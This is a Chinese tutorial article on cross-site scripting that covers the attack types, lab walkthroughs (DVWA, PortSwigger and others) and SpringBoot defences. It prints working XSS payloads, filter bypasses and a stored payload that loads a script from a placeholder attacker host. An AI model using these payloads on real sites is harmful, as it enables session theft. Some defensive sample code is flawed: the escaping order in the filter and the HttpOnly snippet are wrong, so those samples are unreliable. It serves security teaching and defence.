news 2026/9/26 8:12:39

XSS跨站脚本攻击原理、类型与防御实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS跨站脚本攻击原理、类型与防御实战指南

1. 从“网页弹窗”说起:XSS到底是什么

很多人第一次接触XSS,是从某个群里收到一条链接开始的——“点开它,能偷你的cookie”。点开之后,网页弹了个窗,Cookie确实被发走了,然后你就“被下线”了。这其实就是XSS最经典的一幕。

XSS全称Cross-Site Scripting,中文叫跨站脚本攻击。它和“跨站”两个字关系不大——真正的意思是:攻击者把一段恶意脚本“塞”进了你正在浏览的网页里,然后这段脚本在你浏览器里以你本人的身份执行。浏览器分不清这段脚本是网站自己的还是攻击者塞进来的,只要注入成功,它就能拿到你在这个网站上的全部权限。

为什么这个漏洞危害这么大?因为它利用的不是服务器端漏洞,而是“浏览器对网站的信任”。防病毒软件不会拦,防火墙也不会叫——脚本是在正常页面里运行的,走的流量和你正常访问一模一样。

前几年我做过一次授权范围内的渗透测试,客户是家做电商的公司。整个项目下来,服务器硬得像块铁,但几分钟之后我们从搜索框里打进去了一段payload,直接把管理员后台的会话拿到了。服务器没有失陷,但后台已经易主。这就是XSS的可怕之处——它不打服务器,打的是每一个正在看网页的人。

本文从原理、类型、实战靶场、防御落地、以及我在真实项目中遇到的坑这几个角度,把XSS这件事从头到尾说一遍。零基础的人可以把它当入门教程,有经验的人可以直接跳到第4章看防御方案。收藏这篇,以后做代码审计或者应急响应的时候能少走不少弯路。

2. 三种类型,一条主线:谁在信任谁的“话”

XSS的分类,说白了就是“脚本是从哪儿进来的”。反射型走URL,存储型走数据库,DOM型连服务器都不经过。但无论哪种,攻击的本质都是一样的:把用户的输入当成代码来执行。这一章把三种类型逐一拆开讲,配合简单的例子和类比,确保你读完能分清“我在哪个环节被打了”。

2.1 反射型XSS:一次性的“钓鱼一击”

反射型XSS,也叫非持久型XSS。它的特点是:恶意脚本通过URL参数传给服务器,服务器未经处理直接拼到响应页面里,脚本在浏览器里执行一次——刷新、关闭页面,就没了。

典型的攻击场景是这样的:

http://example.com/search?keyword=<script>alert(document.cookie)</script>

如果服务器把keyword的值原样放回到搜索结果页里,用户一访问这个链接,脚本立刻执行。攻击者通常把这个恶意链接伪装成正常链接发给目标用户,诱导点击。

我曾经在测试一个政府网站时发现,它的搜索接口会回显用户的搜索词,而且完全没有过滤。我提交了一段引号闭合的payload后,前端页面直接把我的输入渲染成了可执行脚本。这种漏洞修复起来不难——做个HTML实体编码就行——但排查起来费劲,因为开发者总觉得“搜索框没问题”。

为什么叫“反射型”?因为脚本是通过服务器的“反射”传给浏览器的。它的生命周期只有一次,但正因如此,它特别适合配合钓鱼攻击使用——攻击者可以在链接里带上某个人的ID信息,做到精准打击。

2.2 存储型XSS:危害最大的“持久性潜伏”

存储型XSS,也叫持久型XSS。攻击者的脚本被存储在目标服务器上(数据库、文件、缓存等),任何用户访问这个页面时都会执行它。它是三种类型中危害最大的一种。

最典型的场景是评论区、留言板、个人信息编辑处。我在某次代码审计中见过这样一个案例:一个论坛的帖子标题字段直接拼接进HTML模板,没有任何过滤。攻击者在标题里写入了一句话的payload,然后所有访问这个帖子的用户——包括管理员——都中招了。管理员在看帖子时,cookie被偷走,后台被接管。

存储型XSS和反射型的区别,可以这样理解:反射型是“路过踩一脚”,存储型是“基地扎根了”。一旦脚本进了数据库,它就变成了一个“定向爆破装置”,所有访问该页面的用户都会中招,而这个页面看起来完全正常。

存储型XSS的payload往往不只是一个alert弹窗,而是一段完成完整攻击链的脚本:窃取cookie、改写页面表单、向指定接口发送请求、甚至发起C2通信。攻击者往往会把这段脚本接入XSS平台,可实时接收受害者的信息。

2.3 DOM型XSS:只在浏览器里完成的“内鬼作案”

DOM型XSS和前两者有一个本质性的区别:它根本不经过服务器。脚本的数据来源于浏览器的DOM操作,比如document.URL、location.hash、window.name,或者是某个前端框架里的v-html、innerHTML赋值。

典型的场景是这样的:

var name = new URLSearchParams(window.location.href).get('name'); document.getElementById('hello').innerHTML = '你好,' + name;

此时URL中的name=aaa<script>alert(1)</script>会直接以HTML形式渲染到页面里。浏览器执行了脚本,而服务器端从头到尾没有参与过这个过程——服务器返回的HTML片段里没有包含这个输入,漏洞完全存在于前端代码的逻辑中。

DOM型XSS的隐蔽性最高。常规的WAF(Web应用防火墙)基本拦不住它,因为恶意载荷完全发生在客户端,服务器日志里查不到任何蛛丝马迹。我在一次应急响应中,排查了一整天的日志都没找到可疑请求,最后发现攻击载荷全在URL的#后面——而#后面的内容和哈希值,根本不会被发送到服务器,自然也就不会出现在任何访问日志里。

分析DOM型XSS时,浏览器开发者工具几乎成了必备工具。你需要重点排查代码里使用了innerHTML、document.write、outerHTML、eval等危险DOM方法的语句,并追踪这些方法的参数是否被外部输入控制。

2.4 三类型对比:一张表搞清楚核心差异

类型注入位置是否经过服务器持久性危害程度典型场景
反射型URL参数是一次性中搜索框、URL跳转参数
存储型数据库/文件是持久极高评论、留言板、个人资料
DOM型浏览器DOM节点否取决于页面逻辑高前端渲染、Hash路由、锚点参数

一句话记忆法:反射是“借道”,存储是“驻留”,DOM是“内鬼”。掌握了这条主线,后面所有防御和排查手段都是围绕它展开的。

3. 靶场实战:从DVWA到PortSwigger,一步步把手“练脏”

理论说得再多,不亲手打一次都是纸上谈兵。这一章用DVWA、Pikachu、PortSwigger、CTFHub这四类最常见的靶场来带你逐步实操。所有操作都是在本地或授权环境内进行的——这一点非常重要,请务必只在你自己搭的靶场里练手。

3.1 环境搭建:十分钟起一个DVWA

DVWA(Damn Vulnerable Web Application)是一个基于PHP+MySQL的靶场,专为安全练习设计。它包含了XSS、SQL注入、文件上传等常见漏洞的练习环境,而且每个漏洞都有低、中、高三个难度等级,非常适合从零开始。

我说下搭建过程。如果你已经有PHP环境(XAMPP、phpStudy都行),下载DVWA源码放在Web根目录,导入数据库配置好config/config.inc.php,访问首页按提示初始化就行。我建议直接用Docker:

docker run -d -p 80:80 vulnerables/web-dvwa

容器起来之后访问http://localhost,默认账号密码是admin/password。登录后切换到“DVWA Security”标签页,把难度等级调成low,然后进入“XSS (Reflected)”页面。

这里有一个小提示:很多新手刚进靶场就急着测,其实先看一遍源码反而效率更高。DVWA的每个漏洞模块都附带PHP源码,你能直接看到漏洞产生的原因——这是靶场最有价值的部分。

3.2 DVWA三关详解:反射型、存储型与DOM型

3.2.1 反射型(XSS Reflected)

DVWA的反射型XSS页面就是一个输入框,提交的参数是name,服务器接收后直接拼到欢迎语里。

Low级别没有任何防护,直接输入:

<script>alert(document.cookie)</script>

提交后,浏览器弹出了包含会话Cookie的提示框。此时页面URL变成了:

http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

Medium级别加了str_replace函数,将<script>替换为空。你以为这样就安全了?直接大小写混写就绕过了:

<SCRIPT>alert(1)</SCRIPT>

或者用<img>标签配合onerror事件完成攻击:

<img src=x onerror=alert(1)>

High级别换了思路,用正则匹配掉常见的标签和关键字。但这种方式同样有绕过空间——比如用<svg>标签配合onload事件、用&#x3c;&#x73;cript实体编码等。真正的安全防御,永远不是靠“黑名单”堆出来,而是靠“白名单”输出编码。

3.2.2 存储型(XSS Stored)

DVWA的存储型XSS是一个留言板模块,Low级别下直接提交:

<script>alert(document.cookie)</script>

这条数据写进了数据库,之后每一次刷新留言板页面,脚本都会执行。尝试换一个payload,让它导入一段外部脚本:

<script src="http://你的IP/xss.js"></script>

这样你就搭了一个最基础的“持久型攻击链”。

Medium级别对输入做了addslashes转义,但对输出没有做任何编码——HTML标签仍然能原样渲染。High级别才对<script>做了正则过滤,但仍然能通过<img>等标签绕过。这提醒我们:输入校验挡不住一切,输出编码才是最后的防线。

3.2.3 DOM型(XSS DOM)

DVWA的DOM型XSS模块也很经典。Low级别下,页面直接用document.write把URL中的语言参数输出到HTML:

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

此时你在URL的default参数里写入:

English<script>alert(1)</script>

脚本就会执行。它没有经过任何服务器端的处理,日志里查不到——这也是为什么说DOM型XSS的排查难度最高。

3.3 Pikachu与CTFHub:不同场景下的“见招拆招”

Pikachu是另一套国人开发的漏洞靶场,最大的特点是每个漏洞都配了详细的说明文字,特别适合理解漏洞产生的业务背景。它的XSS模块包含反射型、存储型、DOM型,还额外加了“XSS盲打”和“XSS过滤绕过”的练习,比DVWA多了一层进阶空间。

我在Pikachu上做XSS盲打测试时,提交了一个接入了XSS平台的payload,然后在后台确认到Cookie成功回传——这个练习能帮你理解“攻击者是怎么远程拿数据的”。

CTFHub上的XSS题则更偏向CTF竞赛逻辑。题目会给你一个页面,要求通过构造特定的payload触发目标并获取flag,常见的考点有:

  • 基于onload/onerror触发事件
  • 基于实体编码绕过过滤
  • 基于SRI非一致性绕过CSP
  • 基于JSONP接口的跨域读取

CTFHub的题有在线环境,不需要自己搭建,但题目难度阶梯较大,建议先把DVWA和Pikachu刷完再上手。

3.4 PortSwigger靶场:真实业务场景下的XSS

PortSwigger(即Burp Suite官方)的Web Security Academy提供了一套高质量的XSS实验环境,最大的优势是场景真实。每道题构建了一个接近生产环境的业务系统,比如博客系统、电商网站、店铺页面,你需要完成一次完整的“发现-利用-绕过-验证”链条。

我在它的反射型XSS题目里印象最深的一道题是:页面把用户输入放到了<input>标签的value属性中,同时过滤了尖括号。乍一看没法注入标签了,但其实只要闭合value属性的引号,再用onmouseover事件即可完成攻击:

" onmouseover="alert(1)

PortSwigger的题目分为三档:反射型、存储型、DOM型,每一题都给了交互验证逻辑——只有payload真正触发了,页面才会显示“Congratulations”。它还会配备详细的解题思路提示,非常适合自学。

我个人的刷题顺序建议是:DVWA(完成低中高三级全部XSS)→ Pikachu(补盲打和绕过)→ PortSwigger(从Apprentice到Expert逐级打)→ CTFHub(做综合挑战)。这个顺序下来,你能覆盖从原理认知到实战利用的全链路。

4. 防御实战:从SpringBoot过滤器到CSP,搞懂每一道防线

玩过攻击之后,我来说说怎么防御。防御是系统工程,不是写一个过滤器就完事了。核心思路有四条:输入校验、输出编码、安全上下文响应头、浏览器侧防护。这一章以SpringBoot项目为背景,把方案讲透。

4.1 为什么需要一个全局过滤器?

很多开发者对XSS防御的理解停留在“写个正则过滤关键字”上。但真正的XSS防御,最理想的方式是在“输入入口”统一做一层处理——这就是过滤器(Filter)的价值。

SpringBoot中定义一个Filter,可以在请求到达Controller之前,对请求参数做统一的清理(过滤)和编码(转义)。同时,它还应该可以做“请求封装”——用HttpServletRequestWrapper包装原始请求,让request.getParameter()等方法返回处理过的安全值。这样做有一个明显的好处:业务层的代码完全不用改动,安全逻辑和业务逻辑解耦。

@Component public class XssFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); chain.doFilter(xssRequest, response); } }
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { String value = super.getParameter(name); return cleanXss(value); } private String cleanXss(String value) { if (value == null) { return null; } // 转义 HTML 特殊字符 return value.replaceAll("<", "&lt;") .replaceAll(">", "&gt;") .replaceAll("\"", "&quot;") .replaceAll("'", "&#x27;") .replaceAll("&", "&amp;"); } }

这里有一个重要的取舍问题:替换还是转义?replaceAll把尖括号直接替换为空,是“黑名单”思路;把<转义成&lt;,是“白名单”思路。我强烈推荐转义而不是替换——因为替换会改变用户的原始数据,比如用户输入一句正常的比较表达式a<b,替换后变成ab,数据就失真了。而转义之后数据原样保存,只是在HTML渲染时不会被当作标签解析,既安全又保留了语义。

值得提醒的是:如果项目用了Spring Boot的内嵌Tomcat,直接注册FilterRegistrationBean就行,注意@ServletComponentScan和@Component两种注册方式的生效时机差异。如果项目里还有拦截器(Interceptor),记得过滤器比拦截器先执行——所以过滤器适合做全局限流、统一清洗,拦截器适合做登录校验、权限校验,两者不要混用。

4.2 上传PDF文件场景,处理XSS要细到什么程度?

热词里有一个非常有业务代表性的场景:SpringBoot项目里,需要在上传PDF文件时处理XSS攻击。很多人第一反应是“PDF里怎么会有XSS?”——还真有,而且不是罕见情况,我来说清楚。

PDF本质上是文本格式,里面可以嵌入JavaScript脚本。当用户用浏览器直接打开PDF时,PDF渲染器(尤其是Adobe Reader或浏览器内置的PDF插件)会执行内嵌的JS脚本——这相当于打开了一个“微型网页”。攻击者可以构造一个PDF文件,里面内嵌app.alert()代码,诱导受害者用浏览器打开它,脚本在以受害者身份登录的会话上下文中执行,从而窃取Cookie或发起恶意请求。

防御方案要从两个维度同时做:

第一个维度是文件名。文件上传接口一般不会让你直接使用原始文件名,因为文件名本身也可能携带XSS payload。比如上传一个名为"><img src=x onerror=alert(1)>.pdf的文件,如果系统把这个文件名渲染到了下载页面的HTML中且未做编码,同样会触发XSS。所以在保存上传文件时,一定要对文件名做双重处理:重新生成随机文件名(UUID)存储,展示时再做HTML实体编码。

第二个维度是文件内容。对PDF文件内容做XSS扫描和净化,在Java生态里比较常用的方案是:通过PDFBox等库提取PDF文本内容,检查并移除高危JS关键内容;更严格的做法是调用反病毒引擎扫描。完全干净的PDF文件一般只包含文本、图片和基础对象,不包含JS动作。内容安全检测的代码大致长这样:

try (PDDocument document = PDDocument.load(file)) { // 遍历所有页面 for (PDPage page : document.getPages()) { // 提取文档中的所有action,检查是否有JavaScript动作 PDAction action = page.getAction(); if (action instanceof PDActionJavaScript) { // 命中JS动作,直接拒绝或清除 log.warn("Detected JavaScript action in PDF, blocking upload"); page.setAction(null); } } document.save(outputFile); }

拦截到之后是拒绝还是清除?我的建议是:对内部系统,直接拒绝并记录日志;对对外业务系统,能否“清除”而不影响文件可用性需要充分验证,否则一律走人工审核。安全处理不能以破坏正常功能为代价——这里踩过的坑后面第5章还会细讲。

4.3 输出编码:比过滤器更根本的防线

很多人以为过滤器做完了XSS防御就结束了。实际上,过滤器能覆盖请求参数,但覆盖不了一个非常重要的场景——前端JS里动态渲染的数据。此时前端的输出编码策略才是关键。

输出编码分为三类场景,对应三种编码方式:

输出位置编码方式示例
HTML标签内HTML实体编码<→&lt;
HTML属性内属性编码"→&quot;
JavaScript/URL上下文JavaScript/URL编码'→\x27

以Java服务端的Thymeleaf模板为例,th:text是天然做HTML转义的,而th:utext则不会转义——看到代码里出现utext、v-html、innerHTML、dangerouslySetInnerHTML这几个词,就要警觉了。前端框架方面,Vue的{{ }}插值是编码后的安全输出,React的{expression}同样会转义,但dangerouslySetInnerHTML等于把安全护栏拆掉了。

我曾经在审计一个后台管理系统时发现,前端工程师用Vue渲染了一个后端返回的HTML片段,那段内容里包含用户提交的富文本。富文本确实需要渲染HTML,但前提是后端必须先用白名单策略清洗——只允许<b>、<i>、<a>、<img>等有限的标签,只允许href、src等有限的属性,然后才能交给前端渲染。我推荐用Jsoup来实现白名单清洗:

String safeHtml = Jsoup.clean(userInput, Safelist.relaxed().addTags("p", "br", "b", "i", "u", "span") .addAttributes("a", "href", "title") .addAttributes("img", "src", "alt"));

注意,Safelist.relaxed()相对宽松,产品上线前必须根据实际业务场景收紧,不能无脑用。

4.4 HttpOnly与CSP:两道主动性的安全护栏

输出编码是“被动防御”——让恶意数据无法执行;而HttpOnly和CSP是“主动防御”——从浏览器层面限制攻击者的能力。

HttpOnly是一个Cookie属性的开关。一旦设置,JavaScript将无法通过document.cookie读取该Cookie的值。这意味着即使XSS攻击成功了,攻击者也无法通过最常规的手段窃取会话凭证。在SpringBoot中开启:

response.addCookie(new Cookie("sessionId", "xxx")); // 同时设置 cookie.setHttpOnly(true);

或者更简单地,在配置中统一设置:

server.servlet.session.cookie.http-only: true

**CSP(Content Security Policy)**则是浏览器侧的一套白名单策略,告诉浏览器“当前页面只能加载哪些来源的脚本、样式、图片等资源”。一个基础的CSP响应头长这样:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'

这个头告诉浏览器:脚本只能从本站加载,外部域名的脚本一律阻断。一旦攻击者注入了一个外部域名的<script src>,浏览器会直接在控制台报violation,脚本不会执行。CSP对存储型和反射型XSS有非常好的抑制效果。

不过CSP落地的时候需要特别留意一个坑:inline脚本和eval()。很多前端项目为了性能或历史原因,代码里大量使用了内联<script>块和eval()函数——开启严格CSP后,这些代码会全部失效。我接手过的一个老项目就是这种情况:安全团队要求上CSP,结果上线当天几个核心页面全部白屏,最后只能先放行'unsafe-inline',再逐步改代码迁移。所以CSP的实施要分阶段:先上线Content-Security-Policy-Report-Only模式,只记录违规不阻断,等开发团队把违规点清理完,再切换成真正的CSP。

4.5 前端的最后一步:输入校验与富文本清理

有一段话我反复讲过:前端校验是为了用户体验,后端校验才是安全底线。因为攻击者完全可以绕过前端JavaScript直接构造HTTP请求,前端的拦截拦不住真正的攻击者。

前端表单校验的作用,是保证普通用户输入数据时不会把恶意字符提交上去。你可以用extend校验框架或简单的正则,在提交前拦截<、>、javascript:等非法字符。但对富文本编辑器(如TinyMCE、wangEditor)则要格外小心:编辑器生成的HTML代码虽然经过了编辑器自身的过滤,但当提交到后端时,拦截器必须仍然对富文本内容做HTML标签白名单清洗——永远不要把“编辑器已经过滤了”当成后端不设防的理由。

5. 常见问题与排查技巧实录:写给一线的实战避坑指南

这章聊实操中踩过的坑和排查思路。这些内容通常不会出现在教科书里,但真正做安全或者开发的人,几乎每一个都遇到过。

5.1 排查XSS漏洞的系统方法论

很多时候你接手的是一个已经存在的系统,用户反馈“页面总是弹窗”或者“账号无故被盗”,这时候需要排查XSS漏洞。我的排查顺序一般是这样的:

先把页面源码全部拉出来,搜索innerHTML、outerHTML、document.write、eval、v-html、dangerouslySetInnerHTML这些危险调用点。然后追踪每个危险点的数据来源——数据是从哪一层传进来的?是用户输入直接进模板?还是过了哪一层处理?如果有“用户可控数据点进危险函数”的路径,那这条路就是漏洞候选。

找到候选后,用浏览器开发者工具手动验证。直接在URL中构造payload,观察页面是否弹窗、网络面板中是否有外部请求发出。如果弹了,再用Burp Suite抓一遍请求包,确认载荷不经过任何编码就能直达页面。

还有一个不起眼但很关键的排查点——HTTP响应头里的Content-Type。如果服务器返回的是text/html,而数据源又可控,即使用户输入里只有少量HTML标签,也可能被浏览器强行解析成页面的一部分。我在测试一个文件下载接口时发现,它返回的Content-Type是application/pdf没错,但下载链接的参数可控,后端把参数直接拼到了文件名里,浏览器处理时把它当成了HTML渲染——这种边缘场景最难排查。

5.2 过滤器误伤的“血泪教训”

防御方案落地过程中,误伤是躲不开的课题。做全局过滤器时,有两类踩坑几乎必现:

第一类是“把数据改坏了”。直接替换而不是转义,导致用户输入的文本内容缺失,比如合法的业务数据“x<y”变成了“xy”。转义方案虽然保存了原始数据,但在前端回显时如果忘了做二次解码,界面上就会出现一串&lt;——所以在做编码方案前,需要明确“在哪个环节编码、在哪个环节解码”,两边口径必须一致。

第二类是“过滤器拦截了所有参数,包括不该动的”。比如用户在评论区输入了一段包含HTML的代码分享,被全局过滤器强制转义成普通文本,功能就废了。我的建议是:过滤器配置excludeUrls白名单,允许特定路径跳过过滤(如富文本编辑器的上传接口),或允许特定参数(如富文本内容)只做白名单清洗,不做全局转义。这些配置都需要在项目初始阶段统一定好,否则后期维护成本会指数级上升。

5.3 XSS平台这类工具,应该怎么对它做防护?

热词里提到了“蓝莲花XSS平台”等工具。这类平台的核心能力是:安全测试人员在自己搭建的服务器上部署平台,通过平台生成一段恶意脚本地址,把脚本注入到靶场页面中,当有浏览器访问该页面时,脚本执行并自动向平台发送受害者的信息——Cookie、页面内容、键盘记录等。它本质上是测试验证的辅助工具,既不是“攻击工具”,也不能代表XSS漏洞本身。平台的价值在于:安全测试者可以用它高效证明漏洞可利用性,量化攻击后果——而不是反复用硬编码的alert(1)去“演示弹窗”。

我必须强调一个底线:一切XSS测试都必须限定在你自己拥有或获得明确书面授权的环境中进行。未授权测试是违法的,这个没有任何可讨论的余地。企业内部蓝队选手也需要知道:生产环境哪怕发现了疑似XSS,也不能直接上XSS平台去“验证”,正确做法是截断PoC、保留日志、走漏洞管理流程。

站在防御方视角,防范这类平台的后渗透,靠的还是第4章讲的三件套:输出编码、HttpOnly、CSP。有了这三样,攻击者就算植入了脚本,也无法窃取会话、无法加载外部脚本、无法伪造请求。这三件事做完,XSS平台基本就成了废柴。

5.4 常见问题速查表

现象可能原因快速处理方式
页面弹窗但刷新后消失反射型XSS检查参数回显位置,对输出做HTML编码
每次打开页面都弹窗存储型XSS排查数据库中的历史数据,清除恶意记录,修复输入输出点
弹窗只在特定浏览器出现浏览器解析差异 / DOM型XSS用不同浏览器开发者工具对比DOM执行流程
输入了合法字符但显示乱码过滤器误伤检查是否做了替换而非转义,确认前后端编码口径
加过滤器后系统页面白屏全局过滤器引发资源阻塞或拦截了必要文件排查过滤器顺序,添加excludeUrls排除静态资源
CSP上线后页面白屏内联脚本和eval被限制先开Report-Only模式,逐步排查和迁移
攻击者拿到Cookie但登录失败了HttpOnly已开启攻击者转向钓鱼或C2方式,仍需加强整体防护
上传的PDF文件名在页面渲染成HTML文件名未做输出编码随机文件名存储,展示时HTML实体编码
富文本内容无法提交全局过滤器误伤富文本字段对该字段改为白名单清洗,不做全局转义

这个表我建议保存下来。生产环境出问题的时候,对照排查往往比从头找要快很多。

收尾之前,分享几点我的真实体会

把整套XSS从原理到防御梳理完,我想讲几句实操层面的心得。

第一个体会是:XSS漏洞的修复不是靠“禁”出来的。很多团队的做法是把<script>标签加入黑名单、把alert关键字过滤掉——这种方案三天两头被绕过,而且每绕一次成本都在上升。可靠的方案永远是那三板斧:输入校验做白名单、输出渲染做编码、浏览器侧上HttpOnly和CSP。它们彼此独立又互相补充,缺哪一个都会留下短板。

第二个体会是:安全处理永远不要凌驾于业务之上。我在做全局过滤器的时候,因为怕误伤,再三要求开发团队在改接口之前先发一个变更申请。对付这种情况,我的经验是做一个“安全配置中心”,把过滤器排除路径、富文本白名单字段、参数编码规则全部做成配置项,而不是硬编码在代码里。这样的设计,既保住了安全底线,也不会动不动就误伤正常业务。

第三个体会是:安全不是某一个岗位的事。前端工程师写一个v-html的时候,后端工程师接口拼接字符串的时候,运维上CSP头的时候——每个人的一点点疏忽都会成为链条中最弱的一环。所以对开发团队,我通常会提一个最低要求:凡是用户输入能影响页面渲染的位置,跨站脚本的两个字——“编码”——必须刻在脑子里。

最后送上一句我经常对新人说的话:XSS这种漏洞,攻击面最广、利用花样最多、危害不可低估,但防御方案又是所有Web漏洞里最成熟的。把编码和CSP这两件事做扎实,大部分XSS攻击就自动失效了。如果你将来在公司做代码审计或安全赋能,把这套方法论带过去,一定不会白学。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/26 8:11:50

Notepad++高效文本处理实战指南:从入门到企业级应用

1. 为什么一个“记事本”值得你花45分钟认真对待Notepad 这个名字听起来像极了Windows自带的那个灰扑扑的记事本——但如果你真这么想&#xff0c;我劝你立刻关掉页面&#xff0c;去下载一个真正的Notepad&#xff0c;然后打开它&#xff0c;把系统自带记事本拖进回收站。这不是…

作者头像 李华
网站建设 2026/9/26 8:11:47

手把手开源构建AI学习资源聚合站:语义搜索+RAG问答系统实战

从“让AI课程卖家集体失业”这个标题聊起吧。事情其实没有标题那么夸张&#xff0c;但背后的逻辑我很认可&#xff1a;现在市面上的AI课程&#xff0c;真正有干货的占比不高&#xff0c;大量内容只是把官方文档、开源社区帖子重新拼凑一遍&#xff0c;再包装成“199元带你精通C…

作者头像 李华
网站建设 2026/9/26 8:11:10

Claude Code提示词模板化:从复用配置到团队协作标准化

从2025年初我开始重度使用Claude Code以来&#xff0c;有个问题一直让我很头疼——每次新开一个项目&#xff0c;都要重新编写一遍系统提示词&#xff08;System Prompt&#xff09;&#xff0c;配置一遍工具权限&#xff0c;敲一遍几乎相同的工作流指令。直到朋友把claude-cod…

作者头像 李华
网站建设 2026/9/26 8:09:57

人机交互设计大作业.zip:从文件结构到可用性测试的完整交付指南

简介&#xff1a;面向高校人机交互课程学生与需要完成交互设计项目的开发者&#xff0c;这份人机交互设计大作业资源包围绕企业食堂订餐系统的完整设计流程展开。包内含22个文件&#xff0c;涵盖docx文档、pptx演示文稿、PDF理论资料、HTML网页及原型压缩包等类型&#xff0c;整…

作者头像 李华
网站建设 2026/9/26 8:09:57

IBM IMM与IMM2远程管理实战:配置、固件升级与故障排查

最近整理了一台 IBM x3650 M4 的远程管理配置&#xff0c;顺手把手上这台 IBM V3700 存储的控制模块也翻出来对照了一遍。发现很多人手里都有 IBM IMM 和 IMM2 的中英文操作手册&#xff0c;但真到用的时候&#xff0c;要么在中文版里找不到对应的英文菜单&#xff0c;要么对着…

作者头像 李华
网站建设 2026/9/26 8:09:36

Claude Code模板工作流:从经验到资产,打造可复用的AI编程规范

小半年时间里&#xff0c;我用 Claude Code 反复建的项目加起来大概有二十多个。刚开始每开一个新项目&#xff0c;都是从一个空白目录开始&#xff1a;先手写一段大而全的系统提示&#xff0c;把技术栈、编码习惯、禁止事项一股脑丢进去&#xff0c;然后祈祷它在后面几周里不会…

作者头像 李华